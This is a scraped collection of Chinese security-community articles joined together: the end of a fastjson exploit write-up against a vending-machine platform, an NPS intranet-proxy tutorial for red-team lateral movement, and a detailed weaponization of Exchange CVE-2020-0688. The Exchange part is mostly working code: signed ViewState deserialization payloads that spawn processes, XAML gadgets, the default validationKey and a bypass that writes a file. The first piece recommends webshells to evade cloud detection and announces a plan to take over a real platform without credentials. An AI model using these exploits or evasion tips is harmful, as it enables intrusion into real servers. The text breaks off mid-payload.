如果一切顺利，你监听的端口将会收到反弹shell
同时也收到了平台程序员的问询:
### 思考
运营商马上就发现了服务器被入侵，所以如果遇到是阿里云等主流云服务器，如果想隐藏自己建议不要使用反弹shell的形式，毕竟特征太明显。。比如可以考虑自动化写入Webshell
还有就是经过我的分析，市面上的售货机管理平台的核心代码非常可能是同一套，所以该利用方式非常可能是通用的，不过其他没权限没法测试。
### 修复建议
排查所有服务的jar包风险，并升级.
### BTW
目前提交的两个漏洞都是有利用前提的，那么是否可以不需要账号就直接入侵进自动售货机的管理平台，然后控制全国所有售货机呢？
作为渗透测试工程师决定有必要操作一波，感兴趣的人多的话，我再更新。
## 扩展阅读:
[从零开始学习fastjson反序列化](https://www.freebuf.com/vuls/228099.html)
[Exploiting JNDI Injections in
Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)
[Fastjson 反序列化漏洞自动化检测](https://koalr.me/post/fastjson-deserialization-detection/) | 社区文章 |
# NPS内网穿透工具使用详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
在红队HW中通过前期的打点获得shell后通常下一步就是对内网进行横向，获得shell进想要行横向的前提是我们必须有代理可以访问内网中的资产，这时候我们就需要通过拿到shell的那台机器权限，在此台机上传代理工具进行配置搭建内网代理，目的达到内网出网的效果，使我们能够进行下一步的内网横向渗透。在hw中经常用到的代理工具有很多，根据不同之需和个人不同的使用习惯选择不同工具进行使用，本文主要对NPS这款代理工具进行介绍。
## 0x02 简介
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发，可支持任何tcp、udp上层协议（访问内网网站、本地支付接口调试、ssh访问、远程桌面，内网dns解析等等……），此外还支持内网http代理、内网socks5代理、p2p等，并带有功能强大的web管理端。
工具获取：<https://github.com/ehang-io/nps>
特点：
1. 支持多种协议，兼容几乎所有常用协议，例如tcp，udp，http（s），socks5，p2p，http代理…
2. 全面的平台兼容性（Linux，Windows，MacOS，Synology等），仅支持将安装作为系统服务进行。
3. 全面控制，允许客户端和服务器控制。
4. Https集成，支持将后端代理和Web服务转换为https，并支持多个证书。
5. 只需在Web ui上进行简单配置即可完成大多数要求。
6. 完整的信息显示，例如流量，系统信息，实时带宽，客户端版本等。
7. 强大的扩展功能，一切可用（缓存，压缩，加密，流量限制，带宽限制，端口重用等）
8. 域名解析具有诸如自定义标题，404页面配置，主机修改，站点保护，URL路由和全景解析之类的功能。
9. 服务器上的多用户和用户注册支持。
## 0x03 实验环境
NPS代理需要借助VPS进行中转，首先我们要根据VPS的系统和内网客户端系统下载对应的nps程序。这里我使用腾讯云的VPS作为服务端，系统为Ubuntu
18.04，内网分别采用VMware中centOS 7和Windows 7进行模拟，将内网代理到本地。
### 环境模拟1-客户端配置文件模式
环境拓扑：
**1.服务端部署**
根据vps的系统下载服务端程序并上传至vps，本文中使用的腾讯云Ubuntu18.04作为vps下载使用了安装包[linux_amd64_server.tar.gz](https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz)
解压文件包结构如下：
linux_amd64_server/
– conf ##配置文件目录
– web ##web文件目录
– nps ##nps运行文件
进入conf目录,可编辑nps.conf配置文件对部分选项进行配置，默认运行不需要进行任何配置即可运行
默认配置运行nps服务端启动会占用80，8080，8024端口，可根据需求对配置进行修改。
appname = nps
#Boot mode(dev|pro)
#启动模式
runmode = dev
#HTTP(S) proxy port, no startup if empty
#HTTP(S)代理端口，如果为空则不启动
http_proxy_ip=0.0.0.0
http_proxy_port=8081 #http监听端口，默认80
https_proxy_port=443
https_just_proxy=true
#default https certificate setting
#默认HTTPS证书设置
https_default_cert_file=conf/server.pem
https_default_key_file=conf/server.key
##bridge
##桥接
bridge_type=tcp
bridge_port=8024 ##客户端与服务端连接端口
bridge_ip=0.0.0.0
# Public password, which clients can use to connect to the server
# 公共密码，客户端可以使用它连接到服务器
# After the connection, the server will be able to open relevant ports and
parse related domain names according to its own configuration file.
# 连接完成后，服务器就可以打开相关端口，根据自己的配置文件解析相关域名。
public_vkey=123
#Traffic data persistence interval(minute)
#流量数据持续时间间隔(分钟)
#Ignorance means no persistence
#flow_store_interval=1
# log level LevelEmergency->0 LevelAlert->1 LevelCritical->2 LevelError->3
LevelWarning->4 LevelNotice->5 LevelInformational->6 LevelDebug->7
# 日志等级设置
log_level=7
#log_path=nps.log
#Whether to restrict IP access, true or false or ignore
#是否限制IP访问，true、false或ignore
#ip_limit=true
#p2p代理
#p2p_ip=127.0.0.1
#p2p_port=6000
#web
web_host= ##web管理端登录地址URL
web_username=admin ##web管理端登录名
web_password=123 ##web管理端登录密码（注：正式环境建议更改）
web_port = 8080 ##web管理端访问端口
web_ip=0.0.0.0 ##web管理端登录地址默认0.0.0.0不需要修改
web_base_url= ##管理端web路径，默认不需要指定
web_open_ssl=false #管理端是否开启ssl
web_cert_file=conf/server.pem
web_key_file=conf/server.key
# if web under proxy use sub path. like http://host/nps need this.
#web_base_url=/nps
#Web API unauthenticated IP address(the len of auth_crypt_key must be 16)
#Remove comments if needed
#auth_key=test
auth_crypt_key =1234567812345678
#allow_ports=9001-9009,10001,11000-12000
#Web management multi-user login
#Web管理多用户登录
allow_user_login=false
allow_user_register=false
allow_user_change_username=false
#extension
allow_flow_limit=false
allow_rate_limit=false
allow_tunnel_num_limit=false
allow_local_proxy=false
allow_connection_num_limit=false
allow_multi_ip=false
system_info_display=false
#cache
http_cache=false
http_cache_length=100
#get origin ip
http_add_origin_header=false
#pprof debug options
#pprof_ip=0.0.0.0
#pprof_port=9999
#client disconnect timeout
#客户端断开连接超时
disconnect_timeout=60
运行服务端
./nps
访问服务端
**2.客户端部署**
客户端使用虚拟机win7模拟内网，下载对应版本客户端程序[windows_amd64_client.tar.gz](https://github.com/ehang-io/nps/releases/download/v0.26.10/windows_amd64_client.tar.gz)上传至内网主机
解压文件包结构如下：
– conf #客户端配置文件夹
– npc.exe #客户端运行程序
下载好客户端程序后解压压缩包，在客户端配置文件夹conf中找到npc.conf配置文件进行编辑。
这里我们使用客户端配置文件模式将客户端内网3389映射到公网vps43389端口实现远程访问内网主机。
**3.客户端详细配置**
在配置文件中将[common]和[tcp]之外的参数项删除，本次通过TCP代理实现内网3389端口映射，配置如下：
[common]
server_addr=1.1.1.1:8024 ## 服务端vps ip/域名:port
conn_type=tcp ## 通信模式与服务端配置bridge中bridge_type=tcp设为一致
vkey=w4c7qokkqsfqzxeg ## 端配置文件中的服务密钥，手动指定
auto_reconnection=true ## 断线重连
max_conn=1000
flow_limit=1000
rate_limit=1000
basic_username=11 ## 代理认证用户名
basic_password=3 ## 代理认证密码
web_username=user
web_password=1234
crypt=true ## 加密传输
compress=true ## 压缩传输
#pprof_addr=0.0.0.0:9999
disconnect_timeout=60
[tcp]
mode=tcp
target_addr=192.168.138.135:3389 ##内网服务地址 ip:port
server_port=43389 ##映射到vps端口
**4.建立连接**
登录服务端web控台，在“客户端-客户端列表”添加新增
添加设置如下图所示，注意：basic用户名和密码需与上文客户端配置中basic_username/basic_password一致、唯一验证秘钥有客户端配置中vkey一致。
保存后，继续新建连接隧道
在隧道列表中新增
设置代理模式、服务端口和内网地址
完成如上配置后，在客户端运行npc.exe
访问测试连接成功
通过客户端配置文件进行连接的方式需要修改配置文件的相关参数项，上文模拟中介绍了通过TCP代理内网3389的方式，在实际使用需求中对于其他代理模式配置大同小异，只需要在客户端配置选项中保留需要使用的代理模式参数进行配置，删除其他模式参数，在web管理端新建隧道选择相对应的代理模式即可。其他代理模式详细配置不再详细描述。
### 环境模拟2-客户端无配置文件模式
环境拓扑：
**1.服务端部署**
服务端的部署与上文相同不再重复说明。
在服务端web管理新建一个客户端连接。
填写新建参数，选择不通过客户端配置文件连接
新建完成后点击列表中的“+”号展开详情
在详情中给出客户端连接命令，注意这里给出的命令为linux运行命令，如果客户端使用Windows客户端时运行npc.exe
./npc -server=81.0.0.0:8024 -vkey=qwertasdfg -type=tcp ##linux
npc.exe -server=81.0.0.0:8024 -vkey=qwertasdfg -type=tcp ##windows
**2.客户端部署**
下载客户端对应的版本
上传至客户端进行解压
tar -zxvf linux_amd64_client.tar.gz
解压后不需要对配置文件进行修改。
**3.建立连接**
在客户端执行连接命令
./npc -server=81.0.0.0:8024 -vkey=qwertasdfg -type=tcp
刷新web管理页面查看连接成功
新建隧道设置代理模式使用TCP代理，设置服务端映射端口，内网ip服务端口
配置完成后本地使用vpsip映射端口访问内网ssh进行测试，如下图代理成功
其他代理模式设置在新建隧道时选择进行配置即可，不再一一列举
## 0x04 总结
使用nps时需要注意的问题：服务端默认配置启用了8024、80、443端口，如果端口冲突将导致无法启动，请注意修改配置。注意检查安全组防火墙规则，在nps使用过程中放相应的端口。
nps代理工具的部署使用配置相对于其他代理工具来说操作简单，nps服务端支持多客户端连接能够实时统计流量情况，通过web管理端更友好的管理。 | 社区文章 |
# CVE-2020-0688的武器化与.net反序列化漏洞那些事
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
CVE-2020-0688是Exchange一个由于默认加密密钥造成的反序列化漏洞，该漏洞存在于Exchange Control
Panel(ecp)中，不涉及Exchange的工作逻辑，其本质上是一个`web漏洞`。
鉴于国内对.net安全的讨论少之又少，对此借助这篇文章分析一下漏洞详细原理以及利用中的一些细节部分，一方面证明其实际危害性；另一方面抛砖引玉，希望能集思广益，挖掘更好的利用方式。
全文测试环境为`Exchange 2013+Server 2012R2`/`Exchange 2016+Server
2016`。由于ecp的一些限制以及低版本.net反序列化利用的复杂性，暂时不讨论更低版本。
完整阅读本文至少需要`一小时`的时间。
## 0x10 背景知识：反序列化、ViewState与MachineKey
### 0x11 反序列化
.net
Framework(下称fx)原生支持多种序列化/反序列化方式，一些较为古老的系统和组件会使用`binary`和`soap`，而现在基本被`xml`和`json`所替代。
在`binary`序列化中有五个非常重要的类型：`Serializable`特性、`ISerializable`接口、`MarshalByRefObject`抽象类、`IDeserializationCallback`和`IObjectReference`接口。Serializable特性标记类可以进行`基于值`的序列化，MarshalByRefObject标记类可以进行`基于引用`的序列化，ISerializable接口`决定序列化行为`，IDeserializationCallback在反序列化过程中`还原对象状态`，IObjectReference实现`工厂模式`反序列化。
在序列化过程中由`SerializationInfo`保存序列化数据，可以粗略的将其理解为一个以`字符串`为键，以.net`基元类型`为值，以`字符串形式的程序集名称和类型名`进行包装的多层嵌套字典，形象一点的近似类比是注册表。
单纯标记Serializable特性的类会以`字段名`作为键，以`字段值`作为值，以字段值的`实际类型`作为类型名进行保存，等同于java中的Serializable接口的默认行为；实现ISerializable接口的类由`GetObjectData`方法控制SerializationInfo中的数据和类型，类似于java中定义在类型本身的writeObject和readObject或实现Externalizable接口的类；继承自MarshalByRefObject的类会写入一个`ObjRef`表示远程引用。
在反序列化过程中，首先会尝试调用具有`(SerializationInfo,StreamingContext)`签名的构造函数进行初始化，之后检测是否实现`IObjectReference`，如果实现则调用`GetRealObject`获取真实对象，否则返回对象本身。和java检测serialVersionUID不同，类型版本由SerializationInfo中保存的AssemblyName决定，其规则遵循clr默认程序集发现和加载策略，可认为是透明的。
fx的程序集中存在两个极为重要的工厂类：`[mscorlib]System.DelegateSerializationHolder`和`[System.Workflow.ComponentModel]System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef`。按照微软的本意，只有标记了SerializableAttribute、实现ISerializable、继承自MarshalByRefObject的类才能进行序列化/反序列化。序列化操作的实现是完全没有问题的，而在反序列化操作中并没有要求返回类型满足上述约束（当然，这是特性而不是漏洞）。借助DelegateSerializationHolder，我们可以反序列化`任何委托`（无论方法、属性，也不分静态或实例）；而借助ObjectSerializedRef可实现`任意类`反序列化。
众所周知，委托实质上代表一个可以直接执行的.net方法。如果为序列化数据提供一个恶意委托（例如Process.Start(string)），那么在委托被调用时将实现代码执行。而实际上，在序列化时控制一个对象的某个方法的调用时机是比较麻烦的，所以借助`IObjectReference::GetRealObject`等在反序列化时会进行调用的方法是更好的选择。
基于以上结论，可以得到下面的测试代码，此代码中的Test类在进行反序列化时将导致命令执行：
//build and run: c:windowsmicrosoft.netframeworkv4.0.30319csc test.cs && test
using System;
using System.Diagnostics;
using System.Security.Cryptography;
using System.IO;
using System.Web;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
[Serializable]
class Test : IObjectReference
{
Func<string, object> _dele;
string _parm;
public Test(Func<string, object> dele, string parm)
{
_dele = dele;
_parm = parm;
}
public Object GetRealObject(StreamingContext c)
{
return _dele(_parm);
}
}
class a
{
static void Main(string[] args)
{
Test t = new Test(new Func<string, object>(Process.Start), "notepad");
byte[] data = Serialize(t);
Console.WriteLine(Deserialize(data));
}
static object Deserialize(byte[] b)
{
using (MemoryStream mem = new MemoryStream(b))
{
mem.Position = 0;
BinaryFormatter bf = new BinaryFormatter();
return bf.Deserialize(mem);
}
}
static byte[] Serialize(object obj)
{
using (MemoryStream mem = new MemoryStream())
{
BinaryFormatter bf = new BinaryFormatter();
bf.Serialize(mem, obj);
return mem.ToArray();
}
}
}
所以我们只需要找到和上面代码相类似，且在fx或目标环境进行提供的类即可在真实环境中使用。限于篇幅，更细节的信息请参考ysoserial.net的`TypeConfuseDelegateGenerator`，其调用堆栈大致为：
System.Diagnostics.Process.Start
System.Collections.Generic.ComparisonComparer<string>._comparison.Invoke
System.Collections.Generic.ComparisonComparer<string>::Compare
System.Collections.Generic.SortedSet<string>::OnDeserialization
(after System.Collections.Generic.SortedSet<string>::.ctor(SerializationInfo,StreamingContext))
### 0x12 ViewState
ViewState是asp.net的一个特性，由`[System.Web]System.Web.UI.Page`类进行实现，其目的是为服务端控件状态进行持久化。从开发的角度看，所谓“控件状态”实际上就是服务端控件的属性或字段。fx在实现时采用了类似于`ISerializable::GetObjectData`的行为，由控件本身决定如何进行保存。
具体的序列化流程由`[System.Web]System.Web.UI.ObjectStateFormatter`进行处理。其返回结果以`FF01`作为magic，后续数据是近似于`Type-Value`的格式。由于控件本身可能需要保存较为复杂的类型，ObjectStateFormatter通过`二进制序列化`方式对这种情况进行支持，其TypeCode为`0x32`，Value为带有`7bit-encoded`长度前缀的二进制序列化数据。
所以可以使用以下代码手动生成一个合法的ViewState：
static byte[] GetViewState()
{
Test t = new Test(new Func<string, object>(Process.Start), "notepad");
byte[] data = Serialize(t);
MemoryStream ms = new MemoryStream();
ms.WriteByte(0xff);
ms.WriteByte(0x01);
ms.WriteByte(0x32);
uint num = (uint)data.Length;
while (num >= 0x80)
{
ms.WriteByte((byte)(num | 0x80));
num = num >> 0x7;
}
ms.WriteByte((byte)num);
ms.Write(data, 0, data.Length);
return ms.ToArray();
}
在asp.net环境中，每一个aspx文件都会（在发布期间或初始化期间）被编译为一个继承Page类的对象。访问对应的页面时由`[System.Web]System.Web.UI.PageHandlerFactory`进行查找并创建实例，之后调用`ProcessRequest`方法处理当前的HttpContext。在随后的`ProcessRequestMain`方法中，将判断是否处于`PostBack`状态，如果是则获取`Form`或`QueryString`中的`__VIEWSTATE`，并在`LoadAllState`方法中进行反序列化。
上述过程的调用堆栈大致为：
System.Web.UI.ObjectStateFormatter.Deserialize
System.Web.UI.Page.LoadAllState
(if IsPostBack)
System.Web.UI.Page.ProcessRequestMain
System.Web.UI.Page.ProcessRequest
进入PostBack模式有两个条件：页面不是通过`Server.Transfer`进行重定向的，`__VIEWSTATE`等隐藏表单存在。默认直接访问页面即可满足上述条件。
### 0x13 ViewState验证、MacKeyModifier与MachineKey
由于ViewState完全由客户端传入，为了防止篡改，ObjectStateFormatter会使用`MachineKey`对信息进行加密或签名。在默认情况下，MachineKey由fx随机生成，长度为0x400；反序列化的数据不会进行加密，但会进行`HMACSha256`签名，计算出的签名将附加在数据最后。
高版本的fx添加了`MacKeyModifier`作为Salt，由`ClientId`和`ViewStateUserKey`两部分拼接而成。在默认情况下，ViewStateUserKey为`空`；ClientId的算法为当前页面`虚拟目录`路径与当前`页面类型名称`的HashCode之和，同时会以十六进制形式存放于名为`__VIEWSTATEGENERATOR的`隐藏表单中返回。
而即使ClientId不返回实际上也几乎没有影响：在不存在反向代理的情况下，最坏的黑盒情况依然可通过url逐级爆破获得当前页面虚拟路径；当前页面的类型名称则是固定的将请求路径中的句点(.)以及斜杠(/)替换为下划线(_)，例如`/a/b/c.aspx`最终的类型名为`a_b_c_aspx`。
无论加密还是解密时，ObjectStateFormatter都会根据对应的Page`重新计算`MacKeyModifier，客户端请求所发送的__VIEWSTATEGENERATOR`不参与`反序列化。
综上，在已知key的情况下，可以使用以下代码直接算出hash，以及最终的ViewState：
byte[] data=GetViewState();
byte[] key=new byte[]{0,1,2,3,4,5,6,7,8,9,0xa,0xb,0xc,0xd,0xe,0xf,0,1,2,3,4,5,6,7,8,9,0xa,0xb,0xc,0xd,0xe,0xf};
int hashcode = StringComparer.InvariantCultureIgnoreCase.GetHashCode("/");
uint _clientstateid=(uint)(hashcode+StringComparer.InvariantCultureIgnoreCase.GetHashCode("index_aspx"));
byte[] _mackey = new byte[4];
_mackey[0] = (byte)_clientstateid;
_mackey[1] = (byte)(_clientstateid >> 8);
_mackey[2] = (byte)(_clientstateid >> 16);
_mackey[3] = (byte)(_clientstateid >> 24);
MemoryStream ms = new MemoryStream();
ms.Write(data,0,data.Length);
ms.Write(_mackey,0,_mackey.Length);
byte[] hash=(new HMACSHA256(key)).ComputeHash(ms.ToArray());
ms=new MemoryStream();
ms.Write(data,0,data.Length);
ms.Write(hash,0,hash.Length);
Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}",
HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())),
_clientstateid.ToString("X2"));
编译上述代码，执行，复制输出。
在IIS的默认站点进行下列操作：确保应用程序池为`.net
4.0`，新建一个空白的`default.aspx`，将刚刚编译的exe复制到`bin`目录下，在`web.config`中添加MachineKey（如下）。
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<machineKey validationKey="000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f" />
</system.web>
</configuration>
将前面复制的输出作为`QueryString`或`FormData`，访问default.aspx，会看到`w3wp.exe`创建了子进程notepad。
## 0x20 ecp的限制与初步利用
### 0x21 ecp的配置与限制
由于这是一个默认Key导致的漏洞，所以首先查看ecp的配置文件。配置文件存放在`%ExchangeInstallPath%ClientAccessecpweb.config`，可以看到其中默认的`validationKey`：`CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF`。
ecp当然不会存在前面用于测试的Test类，对反序列化非常熟悉的话可以查找一些可以利用的类。当然也可以偷个懒，借助ysoserial.net生成一个命令执行的payload：
ysoserial.exe -g TypeConfuseDelegate -c notepad -f binaryformatter -o base64
修改上面的脚本生成ViewState，访问，无论GET还是POST均毫无疑问的返回`404`，将POST修改为GET进行伪装则返回`501`。
根据501页面的内容，很明显是请求被前置模块进行了过滤；GET返回404的原因是IIS默认限制QueryString最大长度为`2048`；POST返回404则是在web.config中`重写`了全部处理程序映射，禁止了绝大部分aspx文件的`POST`请求方法：
而几个允许POST的白名单中，Download.aspx并非通过PageHandlerFactory进行处理，其余的要么文件不存在，要么低权限用户无权访问。
必须找到对这些限制进行绕过的方式才能成功利用此漏洞。
### 0x22 无效的ViewStateUserKey
在查找绕过方式之前，让我们回过头来，计算一下已知的ViewState进行验证，以确保ecp不存在其他奇奇怪怪的配置。
正常访问default.aspx，复制ViewState的值，进行base64解码，并去掉最后`0x14`个字节。例如测试环境中的ViewState解码后的数据为`ff010f0f050a2d3231303138363636396464`。
之后修改前面的代码：
byte[] data=new byte[]{0xff,0x01,0x0f,0x0f,0x05,0x0a,0x2d,0x32,0x31,0x30,0x31,0x38,0x36,0x36,0x36,0x39,0x64,0x64};
byte[] key=new byte[]{0xCB,0x27,0x21,0xAB,0xDA,0xF8,0xE9,0xDC,0x51,0x6D,0x62,0x1D,0x8B,0x8B,0xF1,0x3A,0x2C,0x9E,0x86,0x89,0xA2, 0x53,0x03,0xBF};
int hashcode = StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp");
uint _clientstateid=(uint)(hashcode+StringComparer.InvariantCultureIgnoreCase.GetHashCode("default_aspx"));
//....
byte[] hash=(new HMACSHA1(key)).ComputeHash(ms.ToArray());
执行，返回以下结果：
可以看到`ClientId`是正确的，而`Hash`不同，显然页面存在`ViewStateUserKey`。
修改页面输出`ViewStateUserKey`，可看到和cookie中`ASP.NET_SessionId`相同。
而我们知道Exchange使用cookie登录而不是Session，在web.config中也`移除`了Session模块：
所以可推测ViewStateUserKey完全由客户端控制，将cookie中ASP.NET_SessionId`置空`，此时远程返回了相同的ViewState：
证明推论正确，这将在后续操作中节约几个步骤。
### 0x23 更换payload进行初步利用
现在再反过来思考绕过的问题，首先处理程序映射属于asp.net的核心部分，不可能绕过；501检测位置不明，但删除POST包中的Content-Type后依然返回501，证明检测逻辑很可能为`if(Method=="GET" &&
ContentLength>0){501;}`；最后只剩下减小payload长度一种方式。
ysoserial.net提供了很多的payload，我们可以尝试一下其他generator，例如`TextFormattingRunProperties`：
ysoserial.exe -g TextFormattingRunProperties -c notepad -f binaryformatter >out.dat
将`GetViewState`方法中的数据进行替换，执行并生成ViewState，使用burp将cookie中ASP.NET_SessionId置空，访问，远程返回500，同时执行了命令`cmd
/c notepad`。
### 0x24 xaml与代码执行
借助TextFormattingRunPropertiesGenerator，我们能够成功的通过ecp达到Exchange
Server的远程代码执行，但其中的原理是什么？能否进行更深入层次的运用？
查看ysoserial.net源码可发现，TextFormattingRunPropertiesGenerator会返回一个`[Microsoft.PowerShell.Editor]Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties`对象的序列化数据，同时添加了一个键名为`ForegroundBrush`，值为`xaml字符串`的序列化信息。
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
查看`Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties..ctor(SerializationInfo,StreamingContext)`的代码，可以看到在反序列化过程中会取出这个xaml，之后调用`[PresentationFramework]System.Windows.Markup.XamlReader.Parse`进行解析：
private object GetObjectFromSerializationInfo(string name, SerializationInfo info)
{
string @string = info.GetString(name);
if (@string == "null")
{
return null;
}
return XamlReader.Parse(@string);
}
其调用堆栈大致如下：
[PresentationFramework]System.Windows.Markup.XamlReader.Parse
Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties.GetObjectFromSerializationInfo
Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties..ctor
xaml是wpf的界面组件代码，可以通过xml的形式构建窗体对象或存放运行时所需的资源。在执行`XamlReader.Parse`时会实例化其中声明的对象，并绑定属性。
在解析器的实现中，`ResourceDictionary`负责对静态资源进行存储，`ObjectDataProvider`作为工厂类负责通过方法调用等方式生成对象。如果为ObjectDataProvider提供恶意方法，同样可以达到代码执行的目的。
对照ysoserial.net生成的xaml：第一行表示该xaml为一个ResourceDictionary对象；第二行将`System`、`System.Diagnostics`两个命名空间和xmlns进行映射；第三行声明了一个ObjectDataProvider，并将其`ObjectType`属性赋值为`typeof(System.Diagnostics.Process)`，`MethodName`属性赋值为`Start`；第四行至第七行声明了调用该方法是要传递的参数，分别为`cmd`和`"/c
notepad"`。
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="" ObjectType="{x:Type Diag:Process}" MethodName="Start" >
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>"/c notepad"</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
XamlReader在解析上述xaml时，首先根据根元素创建`ResourceDictionary`对象，该对象实现了IDirectory接口，所以其后的ObjectDataProvider将作为成员进行存储。接下来初始化`ObjectDataProvider`对象，并设置`ObjectType`、`MethodName`、`MethodParameters`三个属性。
ObjectDataProvider在`MethodParameters`改变时会调用`OnParametersChanged`方法，最终将通过反射调用`Process.Start`，并传递参数。其流程和以下伪代码相对应：
typeof(Process).GetMethod("Start").Invoke(null,new object[]{"cmd",""/c notepad""})
可将xaml进行保存，然后执行下面的PowerShell脚本进行验证：
Add-Type -AssemblyName PresentationFramework
[System.Windows.Markup.XamlReader]::Parse([io.file]::readalltext('xaml.txt'))
最后，我们可以将ysoserial.net中相关代码提取出来，稍作修改和之前的代码合并作为生成器：
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context){}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(TextFormattingRunProperties));
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string xaml)
{
_xaml = xaml;
}
}
static byte[] GetViewState(byte[] data){....}
//in main
byte[] data=GetViewState(Serialize(new TextFormattingRunPropertiesMarshal(xa)));
成功执行命令仅仅是一个开始。无论红队还是蓝队，在目标无法出网的情况下，单纯的执行命令既不能判断漏洞存在与否，也很难达成稳定隐蔽的控制。
请记住`xaml`这个关键点，在后续的漏洞利用过程中是最为重要的一环。
## 0x30 蓝队：检测与缓解措施
### 0x31 构造检测xaml
在远程无回显地执行命令很难确切地知道漏洞利用成功与否，由于不确定目标环境是否能够出网，即使有dnslog这种方式也很难做到完整检测。
所以我们需要一种简单的方式进行验证。
xaml不光支持调用`静态方法`，同样支持获取`静态属性`、获取`实例属性`或调用`实例方法`。于是可以通过`[System.Web]System.Web.HttpContext::Current`获取当前Http上下文，并对`Response`进行操作。
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:w="clr-namespace:System.Web;assembly=System.Web">
<ObjectDataProvider x:Key="a" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""></ObjectDataProvider>
<ObjectDataProvider x:Key="b" ObjectInstance="{StaticResource a}" MethodName="get_Response"></ObjectDataProvider>
<ObjectDataProvider x:Key="c" ObjectInstance="{StaticResource b}" MethodName="get_Headers"></ObjectDataProvider>
<ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="Add">
<ObjectDataProvider.MethodParameters>
<s:String>X-ZCG-TEST</s:String>
<s:String>CVE-2020-0688</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource b}" MethodName="End"></ObjectDataProvider>
</ResourceDictionary>
上述xaml在加载时的流程等同于：
var a=HttpContext.Current;
var b=a.Response;
var c=b.Headers;
c.Add("X-ZCG-TEST","CVE-2020-0688");
b.End();
修改生成payload，访问，可看到增加了一个返回头`X-ZCG-TEST`，其值为`CVE-2020-0688`。和执行命令的poc不同，由于调用了`Response.End`，不会导致后续异常，返回状态码为正常的`200`。
当然，调用诸如`Response.AppendCookie`、`Response.AddHeader`等方法都是可以的，只要最终生成的QueryString不超过`2048`就不会有任何问题。
### 0x32 修复措施
由于ecp本身不使用任何ViewState相关的方法（事实上在多个页面中禁用了ViewState），最简单的修复方式就是删除web.config中`machineKey`一节：
<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />
之后ecp会自动重启，随后将采用随机生成的0x400长度的key进行加密。
## 0x40 红队：武器化
### 0x41 绕过POST限制
红队操作更考虑隐蔽以及稳定控制，限制长度的Payload具有非常大的局限性，很难实现完美控制。
POST不受长度限制但默认被禁用，所有不需要权限的白名单文件均不存在。如果创建一个原本不存在的白名单文件，能否进行绕过？
那么进行测试，从web.config中随便挑一个允许POST且不存在的aspx文件，例如`LiveIdError.aspx`。在测试环境的ecp目录创建这个空文件。
之后修改之前的代码：
uint _clientstateid=(uint)(hashcode+StringComparer.InvariantCultureIgnoreCase.GetHashCode("liveiderror_aspx"));
编译执行访问，可看到返回了测试标识，证明思路有效。
### 0x42 构造写入文件的xaml
那么现在的问题就变成了：如何通过简短的反序列化，在ecp目录创建一个指定名称的空白文件？熟悉.net的人可能会瞬间给出答案，`System.IO.File::AppendAllText(string,string)`可以向指定路径的文件追加指定内容，当文件不存在时会创建。
使用此方法还有一个小问题，AppendAllText第一个参数如果是相对路径的话，将在`CurrentDirectory`创建文件，而绝大多数情况下w3wp的CurrentDirectory为`%systemroot%system32inetsrv`。
简单粗暴的解决这个问题有两种方案：由于Exchange会将安装目录保存在环境变量`ExchangeInstallPath`中，所以直接调用cmd进行echo即可；或者直接使用默认安装路径`C:Program
FilesMicrosoftExchange ServerV15ClientAccessecp`。
第一种可能会触发某些监控，第二种则存在小概率修改目录的可能。
这两种方案的xaml分别如下：
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="" ObjectType="{x:Type Diag:Process}" MethodName="Start" >
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>"/c cd %ExchangeInstallPath% && echo . > ClientAccessecpLiveIdError.aspx"</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
